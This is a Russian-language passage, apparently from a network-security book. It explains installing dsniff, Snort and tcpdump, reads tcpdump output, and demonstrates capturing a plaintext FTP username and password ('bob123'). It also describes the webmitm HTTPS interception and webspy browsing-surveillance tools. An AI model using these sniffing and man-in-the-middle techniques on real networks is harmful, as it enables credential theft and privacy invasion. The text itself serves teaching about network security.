Утилита dsniff доступна на сайте http://www.monkey.org/~dugsong/dsniff/. Она требует также нескольких других пакетов, включая OpenSSL, libpcap, Berkeley DB, libnet и libnids. Вам, вероятно, не составит труда найти двоичные версии этих пакетов для вашей конкретной операционной системы Unix.
Совет. При загрузке сторонних пакетов, libpcap должен быть установлен раньше, чем libnet, а libnet - раньше, чем libnids.
dsniff компонуется подобно любому другому приложению Unix (configure, make, make install). Во время установки dsniff по умолчанию разместит все свои инструментальные средства в каталоге /usr/local/sbin.
Установка и реализация
Установить Snort не составляет труда. Нужно проделать обычные инсталляционные шаги. Трудная часть состоит в конфигурировании его так, чтобы он регистрировал и предупреждал только действительные угрозы и не вызывал ложной тревоги. Многие люди, использующие инструменты IDS, даже не просматривают внимательно их файлы регистрации, потому что они содержат множество ложных сигналов тревоги. Мы будем говорить о конфигурации файла правил инструмента Snort в разделе "Правила инструмента Snort: краткий обзор".
Установка Tcpdump (и Libpcap) на Unix
Сначала необходимо загрузить и установить libpcap. libpcap представляет собой системно-независимый интерфейс к пакетным фильтрам уровня ядра. Если вы не уверены в том, что libpcap у вас установлен, попробуете установить tcpdump; если libpcap в вашей системе нет, он выдаст вам сообщение. Вы можете также найти libpcap на сайте http://www.tcpdump.org. Библиотека libpcap работает только в том случае, если ваша система использует механизм фильтрации пакетов уровня ядра, который она может распознать. У Linux есть свой собственный встроенный "пакетный" протокол, который libpcap признает и с которым она работает, при условии, что ваше ядро Linux скомпилировано с надлежащими опциями. Варианты BSD (Berkeley Software Distribution) и другие клоны операционной системы Unix используют BPF (Berkeley Packet Filtering).
После того как вы загрузили библиотеку libpcap и разархивировали ее, выполните скрипт выбора конфигурации. Ищите строку, в которой написано "checking packet capture type" (проверка типа перехвата пакета), чтобы выяснить какой механизм использует ваша система. Если libpcap не признает ваш пакетный фильтр, вам потребуется обратиться к сопровождающей систему документации, чтобы выяснить, как решить эту проблему. В противном случае, вы можете продолжить установку libpcap так, как вы бы устанавливали любой другой исходный файл под Unix (make и make install). После установки libpcap утилита tcpdump может быть установлена таким же способом.
Установка WinDump (и WinPcap) в системе Windows
Как и в случае с Unix, перед установкой WinDump (и WinPcap) в системе Windows вы должны установить библиотеку pcap. WinPcap и WinDump теперь работают с Windows 9x, ME, NT, 2000 и XP. Пакет поставляется в единственном исполняемом файле и может быть загружен с сайта http://netgroup-serv.polito.it/winpcap/. У WinPcap нет никаких опций установки. Устанавливается в течение примерно пяти секунд.
Теперь все, что вы должны сделать, это направиться на сайт http://netgroup-serv.polito.it/windump/ и загрузить windump.exe. Все готово!
Вывод утилиты Tcpdump
В справке man для tcpdump раздел вывода является, вероятно, одним из самых больших разделов. Поскольку tcpdump пробует интерпретировать некоторые протоколы по-разному, то фактический вывод tcpdump изменится также в зависимости от опций, которыми вы ее снабдили и типа пакетов, которые вы фильтруете. Мы не можем рассмотреть здесь все, но рассмотрим некоторый основной вывод утилиты tcpdump и поговорим о том, что он значит.
Ниже приводится вывод утилиты tcpdump, полученный без опций.
20:11:28.527191 eth0 B somehost.netbios-ns > 192.168.1.255.netbios-ns:NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 20:11:28.531361 eth0 arp who-has 192.168.1.1 tell originix (0:e0:29:38:b4:67) 20:11:28.531939 eth0 arp reply 192.168.1.1 is-at 0:4:5a:e3:44:a3 (0:e0:29:38:b4:67) 20:11:28.531994 eth0 originix.1024 ns01.domain: 49930+ PTR? 255.1.168.192.in-addr.arpa. (44) 20:11:28.630838 eth0 ns01.domain originix.1024: 49930 NXDomain* 0/1/0 (116) (DF) 20:11:28.632600 eth0 originix.1024 ns01.domain: 49931+ PTR? 1.1.168.192.in-addr.arpa. (42) 20:11:28.655958 eth0 ns01.domain originix.1024: 49931 NXDomain 0/1/0 (114) (DF) 20:11:28.657685 eth0 originix.1024 ns01.domain: 49932+ PTR? 150.1.1.10.in-addr.arpa. (41) 20:11:28.668566 eth0 ns01.domain originix.1024: 49932 1/2/2 PTR ns01. (162) (DF) 20:11:29.277025 eth0 B somehost.netbios-ns 192.168.1.255.netbios-ns:NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
Давайте вначале сосредоточимся на отдельной строке. Первое значение представляет собой временную метку для пакета. Заметьте, что заданный по умолчанию формат не включает дату. Следующая порция информации - это интерфейс, на котором этот пакет был получен. После интерфейса мы видим <, > или B. Это указание, был ли пакет входящим, выходящим или широковещательным. Затем мы видим имена хостов или IP-адреса, за которыми следует точка и имя порта или номер. Знак "больше" (>) указывает, что хост и порт отправителя будут всегда слева, а хост и порт получателя будут всегда справа.
Первый пакет распознан как NetBIOS поверх TCP- (NBT-) пакета.
Поскольку tcpdump может интерпретировать часть информации о пакете, он сообщает вам, что somehost выполнял широковещательный запрос NetBIOS, вероятно пробуя искать имя хоста для сетевого IP-адреса.
Второй пакет оказался запросом протокола определения адресов (ARP). ARP отображает IP-адрес на MAC-адрес Ethernet и наоборот. Originix посылает запрос ARP, прося MAC-адрес, соответствующий адресу 192.168.1.1 (возможно, это его шлюз). На следующей строке шлюз отвечает со своим MAC-адресом. Теперь два адаптера Ethernet могут говорить друг с другом на канальном уровне (Data Link Layer). Этот шаг необходим прежде, чем может осуществиться любая IP-связь.
Четвертая и последующие строки содержат то, что оказалось трафиком DNS. Originix делает запрос к ns01 через порт домена 53. Поскольку утилита tcpdump может также интерпретировать пакеты DNS, то она пытается дать информацию о фактическом содержании пакета, включая тип запроса и адрес, с которого он сделан. Из вывода следует, что сначала она выполняет обратный поиск на "широковещательном" адресе (192.168.1.255), затем она пробует обратный поиск на 192.168.1.1, и, наконец, она пробует разрешать 10.1.1.150. Первые два поиска оканчиваются неудачей и получением сообщений "NXDomain" или "несуществующий домен" с DNS-сервера. Но адрес 10.1.1.150 успешно разрешается к имени ns01, которое является именем самого сервера.
Выше был приведен пример некоторых пакетов, которые утилита tcpdump может естественно интерпретировать.
С другими пакетами, подобными нормальному telnet- или SSH-трафику, будет отображена только информация о пакетах, и ничего больше.
20:28:48.375504 eth0 <somehost.2765 > originix.ssh: P 13024:13068(44) ack 42597 win 64695 (DF) 20:28:48.375574 eth0 >originix.ssh > somehost.2765: P 42597:42877(280) ack 13068 win 32120 (DF) 20:28:48.377010 eth0 < somehost.2765 > originix.ssh: P 13068:13200(132) ack 42877 win 64415 (DF) 20:28:48.377081 eth0 >originix.ssh > somehost.2765: P 42877:43157(280) ack 13200 win 32120 (DF)
Здесь мы поймали середину SSH-сеанса между Originix и somehost. Мы можем видеть, что установлен флаг P (push). Мы можем также видеть размер пакетов, поскольку утилита отображает относительный порядковый номер TCP-пакета, за которым следует ожидаемый номер и размер пакета (13024:13068 (44)). Заметьте, что вторая строка дает ack 13068. Это оказывается подтверждением получения предыдущего пакета, и того, что 13068 является следующим номером пакета, который он ожидает. Размер TCP-окна (наибольшее количество данных, которые он может обрабатывать) сообщается хостом в каждом пакете, и в этом примере установлен бит "не фрагментировать", чтобы препятствовать разделению пакета на части. Наблюдение TCP-трафика таким способом может быть чрезвычайно полезным при изучении работы протокола.
Вы можете многое узнать о внутренней работе TCP, выполняя tcpdump и наблюдать, что происходит, когда вы запускаете сеанс telnet. Проверьте следующее.
20:30:58.635657 eth0 < somehost.2910 > originix.telnet: S 213111209:213111209(0) win 65535 <mss 1460,nop,nop,sackOK> (DF) 20:30:58.636019 eth0 > originix.telnet > somehost.2910: S 1513461939:1513461939(0) ack 213111210 win 32120 <mss 1460,nop,nop,sackOK> (DF) 20:30:58.636659 eth0 < somehost.2910 > originix.telnet: . 1:1(0) ack 1 win 65535 (DF) 20:30:58.639213 eth0 < somehost.2910 > originix.telnet: P 1:4(3) ack 1 win 65535 (DF)
Выше приведен вывод, который дает tcpdump, встречая подключение telnet. В двух первых строчках обратите внимание на отличия от тех пакетов, которые мы рассматривали в сеансе SSH. Этот пакет начинает подключение. Мы можем это утверждать, потому что установлен флаг S (SYN). Мы также видим, что порядковые номера пакетов в двух первых строках намного больше. Дело в том, что tcpdump использует фактические порядковые номера TCP-пакетов (32-х битные значения из диапазона от 0 до 4294967295) в начале TCP-подключения. Для остальной части подключения по умолчанию используются значения относительных порядковых номеров так, чтобы пользователям было легче видеть изменения во время передвижения пакетов туда-сюда.
Мы также видим некоторые опции TCP, по которым ведутся переговоры во время трехэтапного "квитирования" (mss1460, nop, nop, sackOK). После того, как связь установлена, somehost начинает посылать данные (3 байта заслуживающих внимания данных).
Используя программу BUTTSniffer, мы наблюдали процесс входа в систему из сеанса telnet. Мы можем делать это и с помощью утилиты tcpdump, используя опцию -X, чтобы отобразить содержание пакета в ASCII-коде. Однако поскольку эта опция отображает и заголовки пакета, и данные, то трудно локализовать то, что мы ищем. Сеанс telnet особенно труден для прослушивания с помощью tcpdump, потому что пакет посылается для каждого символа, который печатается. Соединить это в одно целое вручную может быть трудно. Но таким путем все-таки можно подслушать любого клиента, который держит в памяти информацию о пользователе и о пароле, а затем посылает ее одновременно в одном пакете (подобно Web-транзакции по HTTP, или входу в систему по FTP).
Давайте попробуем подслушать сеанс FTP с помощью команды tcpdump -X dst port 21. Поскольку FTP использует команды USER и PASS для пересылки имени пользователя и пароля, мы должны искать вывод, содержащий эти команды.
20:51:06.697724 somehost.2937 originix.ftp: P 0:10(10) ack 84 win 65452 (DF) 0x0000 4500 0032 5bd4 4000 8006 1ad8 c0a8 0165 E..2[.@........e 0x0010 c0a8 0164 0b79 0015 0cc6 3325 a621 9a45 ...d.y....3%.!.E 0x0020 5018 ffac 68a7 0000 5553 4552 2062 6f62 P...h...USER.bob 0x0030 0d0a ..
20:51:06.893543 somehost.2937 originix.ftp: . ack 116 win 65420 (DF) 0x0000 4500 0028 5fd4 4000 8006 16e2 c0a8 0165 E..(_.@........e 0x0010 c0a8 0164 0b79 0015 0cc6 332f a621 9a65 ...d.y....3/.!.e 0x0020 5010 ff8c a023 0000 0000 0000 0000 P....#........
20:51:10.828077 somehost.2937 originix.ftp: P 10:23(13) ack 116 win 65420 (DF) 0x0000 4500 0035 64d4 4000 8006 11d5 c0a8 0165 E..5d.@........e 0x0010 c0a8 0164 0b79 0015 0cc6 332f a621 9a65 ...d.y....3/.!.e 0x0020 5018 ff8c fe75 0000 5041 5353 2062 6f62 P....u..PASS.bob 0x0030 3132 330d 0a 123 ..
Фильтруя только трафик, предназначенный для порта 21, и используя опцию -X, мы можем легко обнаруживать информацию FTP, предназначенную для входа в систему. В этом примере снова появился пользователь bob, регистрирующий вход на FTP-сервер на хосте originix с паролем bob123.
Webmitm
Этот инструмент дает HTTPS (Web-трафик, защищенный протоколом SSL) то же, что sshmitm дает SSH. Он требует использования инструмента dnsspoof и работает в той же самой манере, вставляя поддельный SSL-сертификат, который позволит "monkey in the middle" расшифровывать все данные, которые мы посылаем вперед и назад. Один недостаток этого сценария состоит в том, что пользователь может быть уведомлен Web-броузером, что сертификат для определенного сайта изменился. И вы должны надеяться, что пользователь проигнорирует это сообщение и продолжит сеанс. Инструмент webmitm позволит вам перехватывать открытый текст трафика для серверов HTTPS в вашей локальной сети, так же как это делает sshmitm с SSH-серверами.
Webspy
Этот последний инструмент в пакете dsniff немного несерьезен. Определяя IP-адрес хоста в вашей локальной сети, webspy перехватывает Web-трафик, посылаемый этим хостом. Всякий раз, когда этот хост перемещается в интернете к определенному URL-адресу, webspy будет загружать тот же самый URL на вашем броузере Netscape. Все, что вам требуется сделать - это запустить свой Web-броузер Netscape, перед запуском webspy. И можно рассматривать все то, что просматривает в сети ваш друг, сидящий этажом ниже. То есть речь идет о вторжении в личную жизнь!